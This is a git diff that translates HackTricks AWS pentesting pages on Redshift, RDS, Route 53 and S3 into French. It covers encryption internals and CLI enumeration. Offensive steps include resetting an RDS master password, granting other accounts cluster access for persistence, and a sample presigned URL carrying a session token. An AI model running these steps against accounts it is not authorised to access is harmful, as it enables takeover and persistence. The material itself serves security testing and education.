 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md
index 7ae94d5d6..729faeccf 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md
@@ -4,46 +4,45 @@
 
 ## Amazon Redshift
 
-Redshift is a fully managed service that can scale up to over a petabyte in size, which is used as a **data warehouse for big data solutions**. Using Redshift clusters, you are able to run analytics against your datasets using fast, SQL-based query tools and business intelligence applications to gather greater understanding of vision for your business.
+Redshift est un service entièrement géré qui peut évoluer jusqu'à plus d'un pétaoctet de taille, utilisé comme un **entrepôt de données pour des solutions de big data**. En utilisant des clusters Redshift, vous pouvez exécuter des analyses sur vos ensembles de données à l'aide d'outils de requête rapides basés sur SQL et d'applications d'intelligence d'affaires pour mieux comprendre la vision de votre entreprise.
 
-**Redshift offers encryption at rest using a four-tired hierarchy of encryption keys using either KMS or CloudHSM to manage the top tier of keys**. **When encryption is enabled for your cluster, it can't be disable and vice versa**. When you have an unencrypted cluster, it can't be encrypted.
+**Redshift offre un chiffrement au repos utilisant une hiérarchie de clés de chiffrement à quatre niveaux en utilisant soit KMS soit CloudHSM pour gérer le niveau supérieur des clés**. **Lorsque le chiffrement est activé pour votre cluster, il ne peut pas être désactivé et vice versa**. Lorsque vous avez un cluster non chiffré, il ne peut pas être chiffré.
 
-Encryption for your cluster can only happen during its creation, and once encrypted, the data, metadata, and any snapshots are also encrypted. The tiering level of encryption keys are as follows, **tier one is the master key, tier two is the cluster encryption key, the CEK, tier three, the database encryption key, the DEK, and finally tier four, the data encryption keys themselves**.
+Le chiffrement pour votre cluster ne peut se faire qu'au moment de sa création, et une fois chiffré, les données, les métadonnées et toutes les instantanés sont également chiffrés. Les niveaux de hiérarchie des clés de chiffrement sont les suivants : **le niveau un est la clé maître, le niveau deux est la clé de chiffrement du cluster, la CEK, le niveau trois, la clé de chiffrement de la base de données, la DEK, et enfin le niveau quatre, les clés de chiffrement des données elles-mêmes**.
 
 ### KMS
 
-During the creation of your cluster, you can either select the **default KMS key** for Redshift or select your **own CMK**, which gives you more flexibility over the control of the key, specifically from an auditable perspective.
+Lors de la création de votre cluster, vous pouvez soit sélectionner la **clé KMS par défaut** pour Redshift soit sélectionner votre **propre CMK**, ce qui vous donne plus de flexibilité sur le contrôle de la clé, spécifiquement d'un point de vue auditable.
 
-The default KMS key for Redshift is automatically created by Redshift the first time the key option is selected and used, and it is fully managed by AWS.
+La clé KMS par défaut pour Redshift est automatiquement créée par Redshift la première fois que l'option de clé est sélectionnée et utilisée, et elle est entièrement gérée par AWS.
 
-This KMS key is then encrypted with the CMK master key, tier one. This encrypted KMS data key is then used as the cluster encryption key, the CEK, tier two. This CEK is then sent by KMS to Redshift where it is stored separately from the cluster. Redshift then sends this encrypted CEK to the cluster over a secure channel where it is stored in memory.
+Cette clé KMS est ensuite chiffrée avec la clé maître CMK, niveau un. Cette clé de données KMS chiffrée est ensuite utilisée comme clé de chiffrement du cluster, la CEK, niveau deux. Cette CEK est ensuite envoyée par KMS à Redshift où elle est stockée séparément du cluster. Redshift envoie ensuite cette CEK chiffrée au cluster via un canal sécurisé où elle est stockée en mémoire.
 
-Redshift then requests KMS to decrypt the CEK, tier two. This decrypted CEK is then also stored in memory. Redshift then creates a random database encryption key, the DEK, tier three, and loads that into the memory of the cluster. The decrypted CEK in memory then encrypts the DEK, which is also stored in memory.
+Redshift demande ensuite à KMS de déchiffrer la CEK, niveau deux. Cette CEK déchiffrée est ensuite également stockée en mémoire. Redshift crée ensuite une clé de chiffrement de base de données aléatoire, la DEK, niveau trois, et la charge dans la mémoire du cluster. La CEK déchiffrée en mémoire chiffre ensuite la DEK, qui est également stockée en mémoire.
 
-This encrypted DEK is then sent over a secure channel and stored in Redshift separately from the cluster. Both the CEK and the DEK are now stored in memory of the cluster both in an encrypted and decrypted form. The decrypted DEK is then used to encrypt data keys, tier four, that are randomly generated by Redshift for each data block in the database.
+Cette DEK chiffrée est ensuite envoyée via un canal sécurisé et stockée dans Redshift séparément du cluster. La CEK et la DEK sont maintenant stockées en mémoire du cluster à la fois sous forme chiffrée et déchiffrée. La DEK déchiffrée est ensuite utilisée pour chiffrer les clés de données, niveau quatre, qui sont générées aléatoirement par Redshift pour chaque bloc de données dans la base de données.
 
-You can use AWS Trusted Advisor to monitor the configuration of your Amazon S3 buckets and ensure that bucket logging is enabled, which can be useful for performing security audits and tracking usage patterns in S3.
+Vous pouvez utiliser AWS Trusted Advisor pour surveiller la configuration de vos buckets Amazon S3 et vous assurer que la journalisation des buckets est activée, ce qui peut être utile pour effectuer des audits de sécurité et suivre les modèles d'utilisation dans S3.
 
 ### CloudHSM
 
 <details>
 
-<summary>Using Redshift with CloudHSM</summary>
+<summary>Utiliser Redshift avec CloudHSM</summary>
 
-When working with CloudHSM to perform your encryption, firstly you must set up a trusted connection between your HSM client and Redshift while using client and server certificates.
+Lorsque vous travaillez avec CloudHSM pour effectuer votre chiffrement, vous devez d'abord établir une connexion de confiance entre votre client HSM et Redshift tout en utilisant des certificats client et serveur.
 
-This connection is required to provide secure communications, allowing encryption keys to be sent between your HSM client and your Redshift clusters. Using a randomly generated private and public key pair, Redshift creates a public client certificate, which is encrypted and stored by Redshift. This must be downloaded and registered to your HSM client, and assigned to the correct HSM partition.
+Cette connexion est nécessaire pour fournir des communications sécurisées, permettant aux clés de chiffrement d'être envoyées entre votre client HSM et vos clusters Redshift. En utilisant une paire de clés privées et publiques générées aléatoirement, Redshift crée un certificat client public, qui est chiffré et stocké par Redshift. Cela doit être téléchargé et enregistré sur votre client HSM, et attribué à la bonne partition HSM.
 
-You must then configure Redshift with the following details of your HSM client: the HSM IP address, the HSM partition name, the HSM partition password, and the public HSM server certificate, which is encrypted by CloudHSM using an internal master key. Once this information has been provided, Redshift will confirm and verify that it can connect and access development partition.
+Vous devez ensuite configurer Redshift avec les détails suivants de votre client HSM : l'adresse IP HSM, le nom de la partition HSM, le mot de passe de la partition HSM, et le certificat de serveur HSM public, qui est chiffré par CloudHSM en utilisant une clé maître interne. Une fois ces informations fournies, Redshift confirmera et vérifiera qu'il peut se connecter et accéder à la partition de développement.
 
-If your internal security policies or governance controls dictate that you must apply key rotation, then this is possible with Redshift enabling you to rotate encryption keys for encrypted clusters, however, you do need to be aware that during the key rotation process, it will make a cluster unavailable for a very short period of time, and so it's best to only rotate keys as and when you need to, or if you feel they may have been compromised.
+Si vos politiques de sécurité internes ou vos contrôles de gouvernance dictent que vous devez appliquer une rotation des clés, cela est possible avec Redshift vous permettant de faire pivoter les clés de chiffrement pour les clusters chiffrés, cependant, vous devez être conscient que pendant le processus de rotation des clés, cela rendra un cluster indisponible pendant une très courte période de temps, il est donc préférable de ne faire pivoter les clés que lorsque vous en avez besoin, ou si vous pensez qu'elles ont pu être compromises.
 
-During the rotation, Redshift will rotate the CEK for your cluster and for any backups of that cluster. It will rotate a DEK for the cluster but it's not possible to rotate a DEK for the snapshots stored in S3 that have been encrypted using the DEK. It will put the cluster into a state of 'rotating keys' until the process is completed when the status will return to 'available'.
+Pendant la rotation, Redshift fera pivoter la CEK pour votre cluster et pour toutes les sauvegardes de ce cluster. Il fera pivoter une DEK pour le cluster mais il n'est pas possible de faire pivoter une DEK pour les instantanés stockés dans S3 qui ont été chiffrés en utilisant la DEK. Il mettra le cluster dans un état de 'rotation des clés' jusqu'à ce que le processus soit terminé lorsque le statut reviendra à 'disponible'.
 
 </details>
 
 ### Enumeration
-
 ```bash
 # Get clusters
 aws redshift describe-clusters
@@ -82,7 +81,6 @@ aws redshift describe-scheduled-actions
 # The redshift instance must be publicly available (not by default), the sg need to allow inbounds connections to the port and you need creds
 psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U admin -d dev -p 5439
 ```
-
 ## Privesc
 
 {{#ref}}
@@ -91,13 +89,9 @@ psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U adm
 
 ## Persistence
 
-The following actions allow to grant access to other AWS accounts to the cluster:
+Les actions suivantes permettent d'accorder l'accès à d'autres comptes AWS au cluster :
 
 - [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html)
 - [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
index 473369403..b0d37e1b7 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
@@ -2,76 +2,75 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-The **Relational Database Service (RDS)** offered by AWS is designed to streamline the deployment, operation, and scaling of a **relational database in the cloud**. This service offers the advantages of cost efficiency and scalability while automating labor-intensive tasks like hardware provisioning, database configuration, patching, and backups.
+Le **Service de base de données relationnelle (RDS)** proposé par AWS est conçu pour simplifier le déploiement, l'exploitation et la mise à l'échelle d'une **base de données relationnelle dans le cloud**. Ce service offre les avantages de l'efficacité des coûts et de la scalabilité tout en automatisant des tâches laborieuses comme la fourniture de matériel, la configuration de la base de données, les mises à jour et les sauvegardes.
 
-AWS RDS supports various widely-used relational database engines including MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, and Amazon Aurora, with compatibility for both MySQL and PostgreSQL.
+AWS RDS prend en charge divers moteurs de base de données relationnelle largement utilisés, notamment MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server et Amazon Aurora, avec compatibilité pour MySQL et PostgreSQL.
 
-Key features of RDS include:
+Les principales caractéristiques de RDS incluent :
 
-- **Management of database instances** is simplified.
-- Creation of **read replicas** to enhance read performance.
-- Configuration of **multi-Availability Zone (AZ) deployments** to ensure high availability and failover mechanisms.
-- **Integration** with other AWS services, such as:
-  - AWS Identity and Access Management (**IAM**) for robust access control.
-  - AWS **CloudWatch** for comprehensive monitoring and metrics.
-  - AWS Key Management Service (**KMS**) for ensuring encryption at rest.
+- **La gestion des instances de base de données** est simplifiée.
+- Création de **réplicas de lecture** pour améliorer les performances de lecture.
+- Configuration de **déploiements multi-Zone de disponibilité (AZ)** pour garantir une haute disponibilité et des mécanismes de basculement.
+- **Intégration** avec d'autres services AWS, tels que :
+- AWS Identity and Access Management (**IAM**) pour un contrôle d'accès robuste.
+- AWS **CloudWatch** pour une surveillance et des métriques complètes.
+- AWS Key Management Service (**KMS**) pour garantir le chiffrement au repos.
 
-## Credentials
+## Identifiants
 
-When creating the DB cluster the master **username** can be configured (**`admin`** by default). To generate the password of this user you can:
+Lors de la création du cluster DB, le **nom d'utilisateur** principal peut être configuré (**`admin`** par défaut). Pour générer le mot de passe de cet utilisateur, vous pouvez :
 
-- **Indicate** a **password** yourself
-- Tell RDS to **auto generate** it
-- Tell RDS to manage it in **AWS Secret Manager** encrypted with a KMS key
+- **Indiquer** un **mot de passe** vous-même
+- Demander à RDS de **le générer automatiquement**
+- Demander à RDS de le gérer dans **AWS Secret Manager** chiffré avec une clé KMS
 
 <figure><img src="../../../images/image (144).png" alt=""><figcaption></figcaption></figure>
 
-### Authentication
+### Authentification
 
-There are 3 types of authentication options, but using the **master password is always allowed**:
+Il existe 3 types d'options d'authentification, mais l'utilisation du **mot de passe principal est toujours autorisée** :
 
 <figure><img src="../../../images/image (227).png" alt=""><figcaption></figcaption></figure>
 
-### Public Access & VPC
+### Accès public & VPC
 
-By default **no public access is granted** to the databases, however it **could be granted**. Therefore, by default only machines from the same VPC will be able to access it if the selected **security group** (are stored in EC2 SG)allows it.
+Par défaut, **aucun accès public n'est accordé** aux bases de données, cependant, il **pourrait être accordé**. Par conséquent, par défaut, seules les machines du même VPC pourront y accéder si le **groupe de sécurité** sélectionné (stocké dans EC2 SG) le permet.
 
-Instead of exposing a DB instance, it’s possible to create a **RDS Proxy** which **improves** the **scalability** & **availability** of the DB cluster.
+Au lieu d'exposer une instance de base de données, il est possible de créer un **RDS Proxy** qui **améliore** la **scalabilité** et **la disponibilité** du cluster DB.
 
-Moreover, the **database port can be modified** also.
+De plus, le **port de la base de données peut également être modifié**.
 
-### Encryption
+### Chiffrement
 
-**Encryption is enabled by default** using a AWS managed key (a CMK could be chosen instead).
+**Le chiffrement est activé par défaut** en utilisant une clé gérée par AWS (une CMK peut être choisie à la place).
 
-By enabling your encryption, you are enabling **encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**.\
-It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**.
+En activant votre chiffrement, vous activez **le chiffrement au repos pour votre stockage, vos instantanés, vos réplicas de lecture et vos sauvegardes**. Les clés pour gérer ce chiffrement peuvent être émises en utilisant **KMS**.\
+Il n'est pas possible d'ajouter ce niveau de chiffrement après la création de votre base de données. **Cela doit être fait lors de sa création**.
 
-However, there is a **workaround allowing you to encrypt an unencrypted database as follows**. You can create a snapshot of your unencrypted database, create an encrypted copy of that snapshot, use that encrypted snapshot to create a new database, and then, finally, your database would then be encrypted.
+Cependant, il existe un **contournement vous permettant de chiffrer une base de données non chiffrée comme suit**. Vous pouvez créer un instantané de votre base de données non chiffrée, créer une copie chiffrée de cet instantané, utiliser cet instantané chiffré pour créer une nouvelle base de données, et enfin, votre base de données serait alors chiffrée.
 
-#### Transparent Data Encryption (TDE)
+#### Chiffrement de données transparent (TDE)
 
-Alongside the encryption capabilities inherent to RDS at the application level, RDS also supports **additional platform-level encryption mechanisms** to safeguard data at rest. This includes **Transparent Data Encryption (TDE)** for Oracle and SQL Server. However, it's crucial to note that while TDE enhances security by encrypting data at rest, it may also **affect database performance**. This performance impact is especially noticeable when used in conjunction with MySQL cryptographic functions or Microsoft Transact-SQL cryptographic functions.
+En plus des capacités de chiffrement inhérentes à RDS au niveau de l'application, RDS prend également en charge **des mécanismes de chiffrement supplémentaires au niveau de la plateforme** pour protéger les données au repos. Cela inclut **le chiffrement de données transparent (TDE)** pour Oracle et SQL Server. Cependant, il est crucial de noter que bien que le TDE améliore la sécurité en chiffrant les données au repos, il peut également **affecter les performances de la base de données**. Cet impact sur les performances est particulièrement perceptible lorsqu'il est utilisé en conjonction avec des fonctions cryptographiques MySQL ou des fonctions cryptographiques Transact-SQL de Microsoft.
 
-To utilize TDE, certain preliminary steps are required:
+Pour utiliser le TDE, certaines étapes préliminaires sont nécessaires :
 
-1. **Option Group Association**:
-   - The database must be associated with an option group. Option groups serve as containers for settings and features, facilitating database management, including security enhancements.
-   - However, it's important to note that option groups are only available for specific database engines and versions.
-2. **Inclusion of TDE in Option Group**:
-   - Once associated with an option group, the Oracle Transparent Data Encryption option needs to be included in that group.
-   - It's essential to recognize that once the TDE option is added to an option group, it becomes a permanent fixture and cannot be removed.
-3. **TDE Encryption Modes**:
-   - TDE offers two distinct encryption modes:
-     - **TDE Tablespace Encryption**: This mode encrypts entire tables, providing a broader scope of data protection.
-     - **TDE Column Encryption**: This mode focuses on encrypting specific, individual elements within the database, allowing for more granular control over what data is encrypted.
+1. **Association de groupe d'options** :
+- La base de données doit être associée à un groupe d'options. Les groupes d'options servent de conteneurs pour les paramètres et les fonctionnalités, facilitant la gestion de la base de données, y compris les améliorations de sécurité.
+- Cependant, il est important de noter que les groupes d'options ne sont disponibles que pour des moteurs de base de données et des versions spécifiques.
+2. **Inclusion du TDE dans le groupe d'options** :
+- Une fois associée à un groupe d'options, l'option de chiffrement de données transparent Oracle doit être incluse dans ce groupe.
+- Il est essentiel de reconnaître qu'une fois l'option TDE ajoutée à un groupe d'options, elle devient une caractéristique permanente et ne peut pas être supprimée.
+3. **Modes de chiffrement TDE** :
+- Le TDE offre deux modes de chiffrement distincts :
+- **Chiffrement de tablespace TDE** : Ce mode chiffre des tables entières, offrant une portée de protection des données plus large.
+- **Chiffrement de colonne TDE** : Ce mode se concentre sur le chiffrement d'éléments spécifiques et individuels au sein de la base de données, permettant un contrôle plus granulaire sur les données chiffrées.
 
-Understanding these prerequisites and the operational intricacies of TDE is crucial for effectively implementing and managing encryption within RDS, ensuring both data security and compliance with necessary standards.
-
-### Enumeration
+Comprendre ces prérequis et les complexités opérationnelles du TDE est crucial pour mettre en œuvre et gérer efficacement le chiffrement au sein de RDS, garantissant à la fois la sécurité des données et la conformité aux normes nécessaires.
 
+### Énumération
 ```bash
 # Clusters info
 ## Get Endpoints, username, port, iam auth enabled, attached roles, SG
@@ -106,8 +105,7 @@ aws rds describe-db-proxy-targets
 ## reset credentials of MasterUsername
 aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password <NewPassword> --apply-immediately
 ```
-
-### Unauthenticated Access
+### Accès non authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
@@ -125,22 +123,18 @@ aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password
 ../aws-post-exploitation/aws-rds-post-exploitation.md
 {{#endref}}
 
-### Persistence
+### Persistance
 
 {{#ref}}
 ../aws-persistence/aws-rds-persistence.md
 {{#endref}}
 
-### SQL Injection
+### Injection SQL
 
-There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**.
+Il existe des moyens d'accéder aux données de DynamoDB avec **la syntaxe SQL**, donc, des **injections SQL typiques sont également possibles**.
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/sql-injection
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md
index c37002eb7..1fbb5aea1 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md
@@ -4,16 +4,15 @@
 
 ## Route 53
 
-Amazon Route 53 is a cloud **Domain Name System (DNS)** web service.\
-You can create https, http and tcp **health checks for web pages** via Route53.
+Amazon Route 53 est un service web **Domain Name System (DNS)** dans le cloud.\
+Vous pouvez créer des vérifications de santé **pour les pages web** via Route53.
 
-### IP-based routing <a href="#routing-policy-ipbased" id="routing-policy-ipbased"></a>
+### Routage basé sur l'IP <a href="#routing-policy-ipbased" id="routing-policy-ipbased"></a>
 
-This is useful to tune your DNS routing to make the best DNS routing decisions for your end users.\
-IP-based routing offers you the additional ability to **optimize routing based on specific knowledge of your customer base**.
-
-### Enumeration
+Ceci est utile pour ajuster votre routage DNS afin de prendre les meilleures décisions de routage DNS pour vos utilisateurs finaux.\
+Le routage basé sur l'IP vous offre la capacité supplémentaire de **optimiser le routage en fonction de connaissances spécifiques de votre base de clients**.
 
+### Énumération
 ```bash
 aws route53 list-hosted-zones # Get domains
 aws route53 get-hosted-zone --id <hosted_zone_id>
@@ -21,7 +20,6 @@ aws route53 list-resource-record-sets --hosted-zone-id <hosted_zone_id> # Get al
 aws route53 list-health-checks
 aws route53 list-traffic-policies
 ```
-
 ### Privesc
 
 {{#ref}}
@@ -29,7 +27,3 @@ aws route53 list-traffic-policies
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md
index 3133c0eac..29e0a68ae 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md
@@ -4,144 +4,137 @@
 
 ## S3
 
-Amazon S3 is a service that allows you **store big amounts of data**.
+Amazon S3 est un service qui vous permet de **stocker de grandes quantités de données**.
 
-Amazon S3 provides multiple options to achieve the **protection** of data at REST. The options include **Permission** (Policy), **Encryption** (Client and Server Side), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case.
+Amazon S3 offre plusieurs options pour atteindre la **protection** des données au repos. Les options incluent **Permission** (Politique), **Encryption** (Côté client et côté serveur), **Bucket Versioning** et **MFA** **basé sur la suppression**. L'**utilisateur peut activer** l'une de ces options pour assurer la protection des données. La **réplication des données** est une fonctionnalité interne d'AWS où **S3 réplique automatiquement chaque objet à travers toutes les zones de disponibilité** et l'organisation n'a pas besoin de l'activer dans ce cas.
 
-With resource-based permissions, you can define permissions for sub-directories of your bucket separately.
+Avec des permissions basées sur les ressources, vous pouvez définir des permissions pour les sous-répertoires de votre bucket séparément.
 
-### Bucket Versioning and MFA based delete
+### Bucket Versioning et suppression basée sur MFA
 
-When bucket versioning is enabled, any action that tries to alter a file inside a file will generate a new version of the file, keeping also the previous content of the same. Therefore, it won't overwrite its content.
+Lorsque la versioning de bucket est activée, toute action qui tente de modifier un fichier à l'intérieur d'un fichier générera une nouvelle version du fichier, conservant également le contenu précédent de celui-ci. Par conséquent, cela ne remplacera pas son contenu.
 
-Moreover, MFA based delete will prevent versions of file in the S3 bucket from being deleted and also Bucket Versioning from being disabled, so an attacker won't be able to alter these files.
+De plus, la suppression basée sur MFA empêchera les versions de fichiers dans le bucket S3 d'être supprimées et également la désactivation de la versioning de bucket, de sorte qu'un attaquant ne pourra pas modifier ces fichiers.
 
-### S3 Access logs
+### Journaux d'accès S3
 
-It's possible to **enable S3 access login** (which by default is disabled) to some bucket and save the logs in a different bucket to know who is accessing the bucket (both buckets must be in the same region).
+Il est possible d'**activer la connexion d'accès S3** (qui est désactivée par défaut) pour un bucket et de sauvegarder les journaux dans un autre bucket pour savoir qui accède au bucket (les deux buckets doivent être dans la même région).
 
-### S3 Presigned URLs
-
-It's possible to generate a presigned URL that can usually be used to **access the specified file** in the bucket. A **presigned URL looks like this**:
+### URLs pré-signées S3
 
+Il est possible de générer une URL pré-signée qui peut généralement être utilisée pour **accéder au fichier spécifié** dans le bucket. Une **URL pré-signée ressemble à ceci** :
 ```
 https://<bucket-name>.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa
 ```
-
-A presigned URL can be **created from the cli using credentials of a principal with access to the object** (if the account you use doesn't have access, a shorter presigned URL will be created but it will be useless)
-
+Une URL pré-signée peut être **créée depuis le cli en utilisant les identifiants d'un principal ayant accès à l'objet** (si le compte que vous utilisez n'a pas accès, une URL pré-signée plus courte sera créée mais elle sera inutile)
 ```bash
- aws s3 presign --region <bucket-region> 's3://<bucket-name>/<file-name>'
+aws s3 presign --region <bucket-region> 's3://<bucket-name>/<file-name>'
 ```
-
 > [!NOTE]
-> The only required permission to generate a presigned URL is the permission being given, so for the previous command the only permission needed by the principal is `s3:GetObject`
-
-It's also possible to create presigned URLs with **other permissions**:
+> La seule autorisation requise pour générer une URL pré-signée est l'autorisation accordée, donc pour la commande précédente, la seule autorisation nécessaire pour le principal est `s3:GetObject`
 
+Il est également possible de créer des URL pré-signées avec **d'autres autorisations** :
 ```python
 import boto3
 url = boto3.client('s3').generate_presigned_url(
-    ClientMethod='put_object',
-    Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'},
-    ExpiresIn=3600
+ClientMethod='put_object',
+Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'},
+ExpiresIn=3600
 )
 ```
+### Mécanismes de chiffrement S3
 
-### S3 Encryption Mechanisms
-
-**DEK means Data Encryption Key** and is the key that is always generated and used to encrypt data.
+**DEK signifie Data Encryption Key** et est la clé qui est toujours générée et utilisée pour chiffrer les données.
 
 <details>
 
-<summary><strong>Server-side encryption with S3 managed keys, SSE-S3</strong></summary>
+<summary><strong>Chiffrement côté serveur avec des clés gérées par S3, SSE-S3</strong></summary>
 
-This option requires minimal configuration and all management of encryption keys used are managed by AWS. All you need to do is to **upload your data and S3 will handle all other aspects**. Each bucket in a S3 account is assigned a bucket key.
+Cette option nécessite une configuration minimale et toute la gestion des clés de chiffrement utilisées est gérée par AWS. Tout ce que vous avez à faire est de **télécharger vos données et S3 s'occupera de tous les autres aspects**. Chaque bucket dans un compte S3 se voit attribuer une clé de bucket.
 
-- Encryption:
-  - Object Data + created plaintext DEK --> Encrypted data (stored inside S3)
-  - Created plaintext DEK + S3 Master Key --> Encrypted DEK (stored inside S3) and plain text is deleted from memory
-- Decryption:
-  - Encrypted DEK + S3 Master Key --> Plaintext DEK
-  - Plaintext DEK + Encrypted data --> Object Data
+- Chiffrement :
+- Données d'objet + DEK en clair créé --> Données chiffrées (stockées dans S3)
+- DEK en clair créé + Clé maître S3 --> DEK chiffré (stocké dans S3) et le texte en clair est supprimé de la mémoire
+- Déchiffrement :
+- DEK chiffré + Clé maître S3 --> DEK en clair
+- DEK en clair + Données chiffrées --> Données d'objet
 
-Please, note that in this case **the key is managed by AWS** (rotation only every 3 years). If you use your own key you willbe able to rotate, disable and apply access control.
+Veuillez noter que dans ce cas **la clé est gérée par AWS** (rotation uniquement tous les 3 ans). Si vous utilisez votre propre clé, vous pourrez faire pivoter, désactiver et appliquer un contrôle d'accès.
 
 </details>
 
 <details>
 
-<summary><strong>Server-side encryption with KMS managed keys, SSE-KMS</strong></summary>
+<summary><strong>Chiffrement côté serveur avec des clés gérées par KMS, SSE-KMS</strong></summary>
 
-This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail.
+Cette méthode permet à S3 d'utiliser le service de gestion des clés pour générer vos clés de chiffrement de données. KMS vous offre une bien plus grande flexibilité sur la gestion de vos clés. Par exemple, vous pouvez désactiver, faire pivoter et appliquer des contrôles d'accès au CMK, et ordonner leur utilisation via AWS Cloud Trail.
 
-- Encryption:
-  - S3 request data keys from KMS CMK
-  - KMS uses a CMK to generate the pair DEK plaintext and DEK encrypted and send them to S£
-  - S3 uses the paintext key to encrypt the data, store the encrypted data and the encrypted key and deletes from memory the plain text key
-- Decryption:
-  - S3 ask to KMS to decrypt the encrypted data key of the object
-  - KMS decrypt the data key with the CMK and send it back to S3
-  - S3 decrypts the object data
+- Chiffrement :
+- S3 demande des clés de données à KMS CMK
+- KMS utilise un CMK pour générer la paire DEK en clair et DEK chiffré et les envoie à S3
+- S3 utilise la clé en clair pour chiffrer les données, stocke les données chiffrées et la clé chiffrée et supprime de la mémoire la clé en clair
+- Déchiffrement :
+- S3 demande à KMS de déchiffrer la clé de données chiffrée de l'objet
+- KMS déchiffre la clé de données avec le CMK et la renvoie à S3
+- S3 déchiffre les données de l'objet
 
 </details>
 
 <details>
 
-<summary><strong>Server-side encryption with customer provided keys, SSE-C</strong></summary>
+<summary><strong>Chiffrement côté serveur avec des clés fournies par le client, SSE-C</strong></summary>
 
-This option gives you the opportunity to provide your own master key that you may already be using outside of AWS. Your customer-provided key would then be sent with your data to S3, where S3 would then perform the encryption for you.
+Cette option vous donne l'opportunité de fournir votre propre clé maître que vous utilisez peut-être déjà en dehors d'AWS. Votre clé fournie par le client serait alors envoyée avec vos données à S3, où S3 effectuerait ensuite le chiffrement pour vous.
 
-- Encryption:
-  - The user sends the object data + Customer key to S3
